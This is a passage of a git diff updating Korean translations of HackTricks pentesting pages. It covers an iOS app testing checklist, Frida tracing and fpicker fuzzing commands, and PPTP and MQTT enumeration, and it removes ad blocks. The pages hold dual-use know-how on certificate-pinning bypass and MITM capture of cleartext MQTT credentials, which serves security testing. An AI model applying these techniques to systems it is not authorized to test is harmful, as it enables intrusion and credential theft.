* [ ] [**백업**](ios-pentesting/#backups)은 파일 시스템에 저장된 **민감한 정보에 접근하는 데 사용될 수 있습니다** (이 체크리스트의 초기 포인트 확인).
|
||||||
* [ ] 또한, [**백업**](ios-pentesting/#backups)은 **애플리케이션의 일부 구성을 수정하는 데 사용될 수 있으며**, 그런 다음 **전화에 백업을 복원하면** **수정된 구성**이 **로드**되어 일부 (보안) **기능**이 **우회될 수 있습니다.**
|
* [ ] 또한, [**백업**](ios-pentesting/#backups)은 **애플리케이션의 일부 구성을 수정하는 데 사용될 수 있으며**, 그런 다음 **백업을 전화기에 복원하면** **수정된 구성**이 **로드되어** 일부 (보안) **기능이 우회될 수 있습니다.**
|
||||||
|
|
||||||
### **애플리케이션 메모리**
|
### **애플리케이션 메모리**
|
||||||
|
|
||||||
|
@ -85,14 +77,14 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [**사용자 정의 URI 핸들러 / 딥링크 / 사용자 정의 스킴**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
* [**사용자 정의 URI 핸들러 / 딥링크 / 사용자 정의 스킴**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||||
* [ ] 애플리케이션이 **어떤 프로토콜/스킴을 등록하고 있는지** 확인하세요.
|
* [ ] 애플리케이션이 **어떤 프로토콜/스킴을 등록하고 있는지** 확인하세요.
|
||||||
* [ ] 애플리케이션이 **어떤 프로토콜/스킴을 사용하기 위해 등록하고 있는지** 확인하세요.
|
* [ ] 애플리케이션이 **어떤 프로토콜/스킴을 사용하도록 등록하고 있는지** 확인하세요.
|
||||||
* [ ] 애플리케이션이 **어떤 종류의 민감한 정보를 수신할 것으로 예상하는지** 확인하세요. 이 정보는 **동일한 스킴을 등록한 다른 애플리케이션에 의해 가로챌 수 있습니다.**
|
* [ ] 애플리케이션이 **어떤 종류의 민감한 정보를 수신할 것으로 예상하는지** 확인하세요. 이 정보는 동일한 스킴을 등록한 다른 애플리케이션에 의해 **가로챌 수 있습니다.**
|
||||||
* [ ] 애플리케이션이 **사용자 입력을 확인하고 정리하지 않는지** 확인하세요. 이로 인해 **취약점이 악용될 수 있습니다.**
|
* [ ] 애플리케이션이 **사용자 입력을 확인하고 정리하지 않는지** 확인하세요. 이로 인해 일부 **취약점이 악용될 수 있습니다.**
|
||||||
* [ ] 애플리케이션이 **어디서든 호출할 수 있는 민감한 작업을 노출하는지** 확인하세요.
|
* [ ] 애플리케이션이 **어디서든 호출할 수 있는 민감한 작업을 노출하는지** 확인하세요.
|
||||||
* [**유니버설 링크**](ios-pentesting/#universal-links)
|
* [**유니버설 링크**](ios-pentesting/#universal-links)
|
||||||
* [ ] 애플리케이션이 **어떤 유니버설 프로토콜/스킴을 등록하고 있는지** 확인하세요.
|
* [ ] 애플리케이션이 **어떤 유니버설 프로토콜/스킴을 등록하고 있는지** 확인하세요.
|
||||||
* [ ] `apple-app-site-association` 파일 확인하기
|
* [ ] `apple-app-site-association` 파일 확인하기
|
||||||
* [ ] 애플리케이션이 **사용자 입력을 확인하고 정리하지 않는지** 확인하세요. 이로 인해 **취약점이 악용될 수 있습니다.**
|
* [ ] 애플리케이션이 **사용자 입력을 확인하고 정리하지 않는지** 확인하세요. 이로 인해 일부 **취약점이 악용될 수 있습니다.**
|
||||||
* [ ] 애플리케이션이 **어디서든 호출할 수 있는 민감한 작업을 노출하는지** 확인하세요.
|
* [ ] 애플리케이션이 **어디서든 호출할 수 있는 민감한 작업을 노출하는지** 확인하세요.
|
||||||
* [**UIActivity 공유**](ios-pentesting/ios-uiactivity-sharing.md)
|
* [**UIActivity 공유**](ios-pentesting/ios-uiactivity-sharing.md)
|
||||||
* [ ] 애플리케이션이 UIActivities를 수신할 수 있는지 확인하고, 특별히 제작된 활동으로 어떤 취약점을 악용할 수 있는지 확인하세요.
|
* [ ] 애플리케이션이 UIActivities를 수신할 수 있는지 확인하고, 특별히 제작된 활동으로 어떤 취약점을 악용할 수 있는지 확인하세요.
|
||||||
|
@ -110,20 +102,14 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
### 네트워크 통신
|
### 네트워크 통신
|
||||||
|
|
||||||
* [ ] [**MitM 공격을 수행하여 통신을 분석**](ios-pentesting/#network-communication)하고 웹 취약점을 검색하세요.
|
* [ ] [**MitM 공격을 수행하여 통신을**](ios-pentesting/#network-communication) 분석하고 웹 취약점을 검색하세요.
|
||||||
* [ ] [**인증서의 호스트 이름**](ios-pentesting/#hostname-check)이 확인되는지 확인하세요.
|
* [ ] [**인증서의 호스트 이름**](ios-pentesting/#hostname-check)이 확인되는지 확인하세요.
|
||||||
* [ ] [**인증서 고정**](ios-pentesting/#certificate-pinning) 확인/우회하기.
|
* [ ] [**인증서 핀닝**](ios-pentesting/#certificate-pinning)을 확인/우회하세요.
|
||||||
|
|
||||||
### **기타**
|
### **기타**
|
||||||
|
|
||||||
* [ ] [**자동 패치/업데이트**](ios-pentesting/#hot-patching-enforced-updateing) 메커니즘 확인하기.
|
* [ ] [**자동 패치/업데이트**](ios-pentesting/#hot-patching-enforced-updateing) 메커니즘을 확인하세요.
|
||||||
* [ ] [**악성 제3자 라이브러리**](ios-pentesting/#third-parties) 확인하기.
|
* [ ] [**악성 제3자 라이브러리**](ios-pentesting/#third-parties)를 확인하세요.
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -134,8 +120,8 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 참여하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -144,6 +130,6 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
\
|
\
|
||||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||||
오늘 바로 접근하세요:
|
지금 액세스하세요:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
|
@ -15,20 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹**에서 제공되는 검색 엔진으로, 기업이나 고객이 **스틸러 맬웨어**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 맬웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Installing Frida
|
## Installing Frida
|
||||||
|
|
||||||
**탈옥된 장치에 Frida를 설치하는 단계:**
|
**탈옥된 장치에 Frida를 설치하는 단계:**
|
||||||
|
@ -44,7 +30,7 @@ WhiteIntel의 주요 목표는 정보 탈취 맬웨어로 인한 계정 탈취
|
||||||
설치 후, PC에서 **`frida-ls-devices`** 명령을 사용하여 장치가 나타나는지 확인할 수 있습니다 (PC가 장치에 접근할 수 있어야 합니다).\
|
설치 후, PC에서 **`frida-ls-devices`** 명령을 사용하여 장치가 나타나는지 확인할 수 있습니다 (PC가 장치에 접근할 수 있어야 합니다).\
|
||||||
또한 **`frida-ps -Uia`**를 실행하여 전화기의 실행 중인 프로세스를 확인합니다.
|
또한 **`frida-ps -Uia`**를 실행하여 전화기의 실행 중인 프로세스를 확인합니다.
|
||||||
|
|
||||||
## Frida without Jailbroken device & without patching the app
|
## 탈옥되지 않은 장치에서 Frida 사용 및 앱 패치 없이
|
||||||
|
|
||||||
탈옥되지 않은 장치에서 앱을 패치하지 않고 Frida를 사용하는 방법에 대한 블로그 게시물을 확인하세요: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
|
탈옥되지 않은 장치에서 앱을 패치하지 않고 Frida를 사용하는 방법에 대한 블로그 게시물을 확인하세요: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
|
||||||
|
|
||||||
|
@ -55,7 +41,7 @@ WhiteIntel의 주요 목표는 정보 탈취 맬웨어로 인한 계정 탈취
|
||||||
pip install frida-tools
|
pip install frida-tools
|
||||||
pip install frida
|
pip install frida
|
||||||
```
|
```
|
||||||
Frida 서버가 설치되고 장치가 실행 중이며 연결된 상태에서 **클라이언트가** **작동하는지** **확인**하십시오:
|
Frida 서버가 설치되고 장치가 실행 중이며 연결된 상태에서 **클라이언트가 작동하는지 확인**하십시오:
|
||||||
```bash
|
```bash
|
||||||
frida-ls-devices # List devices
|
frida-ls-devices # List devices
|
||||||
frida-ps -Uia # Get running processes
|
frida-ps -Uia # Get running processes
|
||||||
|
@ -168,7 +154,7 @@ console.log("loaded");
|
||||||
|
|
||||||
### Frida Stalker
|
### Frida Stalker
|
||||||
|
|
||||||
[문서에서](https://frida.re/docs/stalker/): Stalker는 Frida의 코드 **추적 엔진**입니다. 이는 스레드를 **따라가며**, 실행되는 **모든 함수**, **모든 블록**, 심지어 **모든 명령어**를 **캡처**할 수 있게 해줍니다.
|
[문서에서](https://frida.re/docs/stalker/): Stalker는 Frida의 코드 **추적 엔진**입니다. 이는 스레드를 **따라가며**, 실행되는 모든 함수, **모든 블록**, 심지어 모든 명령어를 **캡처**할 수 있게 해줍니다.
|
||||||
|
|
||||||
Frida Stalker를 구현한 예제는 [여기](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py)에서 확인할 수 있습니다.
|
Frida Stalker를 구현한 예제는 [여기](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py)에서 확인할 수 있습니다.
|
||||||
|
|
||||||
|
@ -206,14 +192,14 @@ Stalker.flush(); // this is important to get all events
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
디버깅 관점에서는 흥미롭지만, 퍼징을 위해 **`.follow()`** 및 **`.unfollow()`**를 지속적으로 사용하는 것은 매우 비효율적입니다.
|
디버깅 목적에서는 흥미롭지만, 퍼징을 위해 **`.follow()`** 및 **`.unfollow()`**를 지속적으로 사용하는 것은 매우 비효율적입니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## [Fpicker](https://github.com/ttdennis/fpicker)
|
## [Fpicker](https://github.com/ttdennis/fpicker)
|
||||||
|
|
||||||
[**fpicker**](https://github.com/ttdennis/fpicker)는 AFL++ 모드 또는 수동 추적 모드와 같은 다양한 프로세스 내 퍼징 모드를 제공하는 **Frida 기반 퍼징 스위트**입니다. Frida가 지원하는 모든 플랫폼에서 실행되어야 합니다.
|
[**fpicker**](https://github.com/ttdennis/fpicker)는 AFL++ 모드 또는 수동 추적 모드와 같은 프로세스 내 퍼징을 위한 다양한 퍼징 모드를 제공하는 **Frida 기반 퍼징 스위트**입니다. Frida가 지원하는 모든 플랫폼에서 실행되어야 합니다.
|
||||||
|
|
||||||
* [**fpicker 설치**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
|
* [**fpicker 설치하기**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
|
||||||
```bash
|
```bash
|
||||||
# Get fpicker
|
# Get fpicker
|
||||||
git clone https://github.com/ttdennis/fpicker
|
git clone https://github.com/ttdennis/fpicker
|
||||||
|
@ -335,7 +321,7 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
|
||||||
|
|
||||||
**macOS 콘솔** 또는 **`log`** CLI를 사용하여 macOS 로그를 확인할 수 있습니다.\
|
**macOS 콘솔** 또는 **`log`** CLI를 사용하여 macOS 로그를 확인할 수 있습니다.\
|
||||||
또한 **`idevicesyslog`**를 사용하여 iOS의 로그를 확인할 수 있습니다.\
|
또한 **`idevicesyslog`**를 사용하여 iOS의 로그를 확인할 수 있습니다.\
|
||||||
일부 로그는 정보를 생략하며 **`<private>`**를 추가합니다. 모든 정보를 표시하려면 [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/)에서 일부 프로파일을 설치해야 해당 개인 정보를 활성화할 수 있습니다.
|
일부 로그는 정보를 생략하며 **`<private>`**를 추가합니다. 모든 정보를 표시하려면 [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/)에서 일부 프로파일을 설치하여 해당 개인 정보를 활성화해야 합니다.
|
||||||
|
|
||||||
무엇을 해야 할지 모른다면:
|
무엇을 해야 할지 모른다면:
|
||||||
```sh
|
```sh
|
||||||
|
@ -361,7 +347,7 @@ You can check the crashes in:
|
||||||
* `~/Library/Logs/DiagnosticReports`
|
* `~/Library/Logs/DiagnosticReports`
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
iOS는 동일한 앱의 충돌을 25개만 저장하므로, 이를 정리해야 하며 그렇지 않으면 iOS가 충돌을 생성하지 않게 됩니다.
|
iOS는 동일한 앱의 충돌을 25개만 저장하므로, 이를 정리해야 하며 그렇지 않으면 iOS가 충돌을 생성하는 것을 중단합니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Frida Android Tutorials
|
## Frida Android Tutorials
|
||||||
|
@ -374,17 +360,6 @@ iOS는 동일한 앱의 충돌을 25개만 저장하므로, 이를 정리해야
|
||||||
|
|
||||||
* [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
|
* [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 회사나 고객이 **stealer malwares**에 의해 **compromised**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -15,27 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
## 기본 정보
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **탈취 악성코드**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
**Point-to-Point Tunneling Protocol (PPTP)**는 **모바일 장치**에 대한 **원격 액세스**를 위해 널리 사용되는 방법입니다. 이는 **TCP 포트 1723**을 사용하여 키를 교환하며, **IP 프로토콜 47**(Generic Routing Encapsulation, 또는 **GRE**)는 피어 간에 전송되는 데이터를 암호화하는 데 사용됩니다. 이 설정은 인터넷을 통한 안전한 통신 채널을 설정하는 데 중요하며, 교환되는 데이터가 기밀로 유지되고 무단 액세스로부터 보호되도록 보장합니다.
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Basic Information
|
|
||||||
|
|
||||||
**Point-to-Point Tunneling Protocol (PPTP)**는 모바일 장치에 대한 **원격 액세스**에 널리 사용되는 방법입니다. 이는 **TCP 포트 1723**을 사용하여 키를 교환하며, **IP 프로토콜 47**(Generic Routing Encapsulation, 또는 **GRE**)는 피어 간에 전송되는 데이터를 암호화하는 데 사용됩니다. 이 설정은 인터넷을 통한 안전한 통신 채널을 구축하는 데 중요하며, 교환되는 데이터가 기밀성을 유지하고 무단 액세스로부터 보호되도록 보장합니다.
|
|
||||||
|
|
||||||
**기본 포트**:1723
|
**기본 포트**:1723
|
||||||
|
|
||||||
## Enumeration
|
## 열거
|
||||||
```bash
|
```bash
|
||||||
nmap –Pn -sSV -p1723 <IP>
|
nmap –Pn -sSV -p1723 <IP>
|
||||||
```
|
```
|
||||||
|
@ -56,7 +43,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Basic Information
|
## Basic Information
|
||||||
|
|
||||||
**MQ Telemetry Transport (MQTT)**는 극도의 단순성과 경량성으로 두드러지는 **발행/구독 메시징 프로토콜**로 알려져 있습니다. 이 프로토콜은 장치의 기능이 제한적이고 낮은 대역폭, 높은 지연 시간 또는 불안정한 연결이 특징인 네트워크에서 작동하는 환경에 맞춰 특별히 설계되었습니다. MQTT의 핵심 목표는 네트워크 대역폭 사용을 최소화하고 장치 리소스에 대한 수요를 줄이는 것입니다. 또한 신뢰할 수 있는 통신을 유지하고 일정 수준의 전달 보장을 제공하는 것을 목표로 합니다. 이러한 목표는 MQTT를 **기계 간 통신 (M2M)** 및 **사물인터넷 (IoT)**의 급성장하는 분야에 특히 적합하게 만듭니다. 이 분야에서는 수많은 장치를 효율적으로 연결하는 것이 필수적입니다. 또한, MQTT는 대역폭과 배터리 수명을 절약하는 것이 중요한 모바일 애플리케이션에도 매우 유용합니다.
|
**MQ Telemetry Transport (MQTT)**는 **게시/구독 메시징 프로토콜**로 알려져 있으며, 극도의 단순성과 경량성으로 두드러집니다. 이 프로토콜은 장치의 기능이 제한적이고 낮은 대역폭, 높은 지연 시간 또는 불안정한 연결이 특징인 네트워크에서 작동하는 환경에 특별히 맞춰져 있습니다. MQTT의 핵심 목표는 네트워크 대역폭 사용을 최소화하고 장치 리소스에 대한 수요를 줄이는 것입니다. 또한, 신뢰할 수 있는 통신을 유지하고 일정 수준의 전달 보장을 제공하는 것을 목표로 합니다. 이러한 목표는 MQTT를 **기계 간 통신 (M2M)** 및 **사물인터넷 (IoT)**의 급성장하는 분야에 특히 적합하게 만듭니다. 여기서 수많은 장치를 효율적으로 연결하는 것이 필수적입니다. 게다가, MQTT는 대역폭과 배터리 수명을 절약하는 것이 중요한 모바일 애플리케이션에도 매우 유용합니다.
|
||||||
|
|
||||||
**기본 포트:** 1883
|
**기본 포트:** 1883
|
||||||
```
|
```
|
||||||
|
@ -51,9 +38,9 @@ MQTT 브로커가 **CONNECT** 패킷을 수신하면 **CONNACK** 패킷이 다
|
||||||
```
|
```
|
||||||
![](<../.gitbook/assets/image (976).png>)
|
![](<../.gitbook/assets/image (976).png>)
|
||||||
|
|
||||||
### [**Brute-Force MQTT**](../generic-methodologies-and-resources/brute-force.md#mqtt)
|
### [**브루트 포스 MQTT**](../generic-methodologies-and-resources/brute-force.md#mqtt)
|
||||||
|
|
||||||
## Pentesting MQTT
|
## MQTT 펜테스팅
|
||||||
|
|
||||||
**인증은 완전히 선택 사항입니다** 그리고 인증이 수행되고 있더라도, **기본적으로 암호화가 사용되지 않습니다** (자격 증명이 평문으로 전송됩니다). MITM 공격을 통해 여전히 비밀번호를 훔칠 수 있습니다.
|
**인증은 완전히 선택 사항입니다** 그리고 인증이 수행되고 있더라도, **기본적으로 암호화가 사용되지 않습니다** (자격 증명이 평문으로 전송됩니다). MITM 공격을 통해 여전히 비밀번호를 훔칠 수 있습니다.
|
||||||
|
|
||||||
|
@ -107,7 +94,7 @@ from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](http
|
||||||
The publish/subscribe model is composed of:
|
The publish/subscribe model is composed of:
|
||||||
|
|
||||||
* **Publisher**: 브로커의 하나(또는 여러 개) 주제에 메시지를 게시합니다.
|
* **Publisher**: 브로커의 하나(또는 여러 개) 주제에 메시지를 게시합니다.
|
||||||
* **Subscriber**: 브로커의 하나(또는 여러 개) 주제를 구독하고, 퍼블리셔가 보낸 모든 메시지를 수신합니다.
|
* **Subscriber**: 브로커의 하나(또는 여러 개) 주제를 구독하고, 퍼블리셔로부터 전송된 모든 메시지를 수신합니다.
|
||||||
* **Broker**: 퍼블리셔로부터 구독자에게 모든 메시지를 라우팅합니다.
|
* **Broker**: 퍼블리셔로부터 구독자에게 모든 메시지를 라우팅합니다.
|
||||||
* **Topic**: 슬래시로 구분된 하나 이상의 레벨로 구성됩니다 (예: /smartshouse/livingroom/temperature).
|
* **Topic**: 슬래시로 구분된 하나 이상의 레벨로 구성됩니다 (예: /smartshouse/livingroom/temperature).
|
||||||
|
|
||||||
|
@ -119,37 +106,26 @@ Every MQTT packet contains a fixed header (Figure 02).Figure 02: Fixed Header
|
||||||
|
|
||||||
### Packet Types
|
### Packet Types
|
||||||
|
|
||||||
* CONNECT (1): 클라이언트가 서버에 연결을 요청하기 위해 시작합니다.
|
* CONNECT (1): 클라이언트가 서버에 연결 요청을 시작합니다.
|
||||||
* CONNACK (2): 서버의 성공적인 연결에 대한 확인입니다.
|
* CONNACK (2): 서버의 성공적인 연결에 대한 확인입니다.
|
||||||
* PUBLISH (3): 클라이언트에서 서버로 또는 그 반대로 메시지를 보내는 데 사용됩니다.
|
* PUBLISH (3): 클라이언트에서 서버로 또는 그 반대로 메시지를 전송하는 데 사용됩니다.
|
||||||
* PUBACK (4): PUBLISH 패킷에 대한 확인입니다.
|
* PUBACK (4): PUBLISH 패킷에 대한 확인입니다.
|
||||||
* PUBREC (5): 메시지가 수신되었음을 보장하는 메시지 전송 프로토콜의 일부입니다.
|
* PUBREC (5): 메시지가 수신되었음을 보장하는 메시지 전송 프로토콜의 일부입니다.
|
||||||
* PUBREL (6): 메시지 전송에 대한 추가 보장으로, 메시지 해제를 나타냅니다.
|
* PUBREL (6): 메시지 전송에 대한 추가 보증으로, 메시지 해제를 나타냅니다.
|
||||||
* PUBCOMP (7): 메시지 전송 프로토콜의 마지막 부분으로, 완료를 나타냅니다.
|
* PUBCOMP (7): 메시지 전송 프로토콜의 마지막 부분으로, 완료를 나타냅니다.
|
||||||
* SUBSCRIBE (8): 클라이언트가 주제로부터 메시지를 수신하기 위한 요청입니다.
|
* SUBSCRIBE (8): 클라이언트가 주제로부터 메시지를 수신하기 위한 요청입니다.
|
||||||
* SUBACK (9): SUBSCRIBE 요청에 대한 서버의 확인입니다.
|
* SUBACK (9): SUBSCRIBE 요청에 대한 서버의 확인입니다.
|
||||||
* UNSUBSCRIBE (10): 클라이언트가 주제로부터 메시지 수신을 중단하기 위한 요청입니다.
|
* UNSUBSCRIBE (10): 클라이언트가 주제로부터 메시지 수신을 중단하기 위한 요청입니다.
|
||||||
* UNSUBACK (11): UNSUBSCRIBE 요청에 대한 서버의 응답입니다.
|
* UNSUBACK (11): UNSUBSCRIBE 요청에 대한 서버의 응답입니다.
|
||||||
* PINGREQ (12): 클라이언트가 보내는 하트비트 메시지입니다.
|
* PINGREQ (12): 클라이언트가 전송하는 하트비트 메시지입니다.
|
||||||
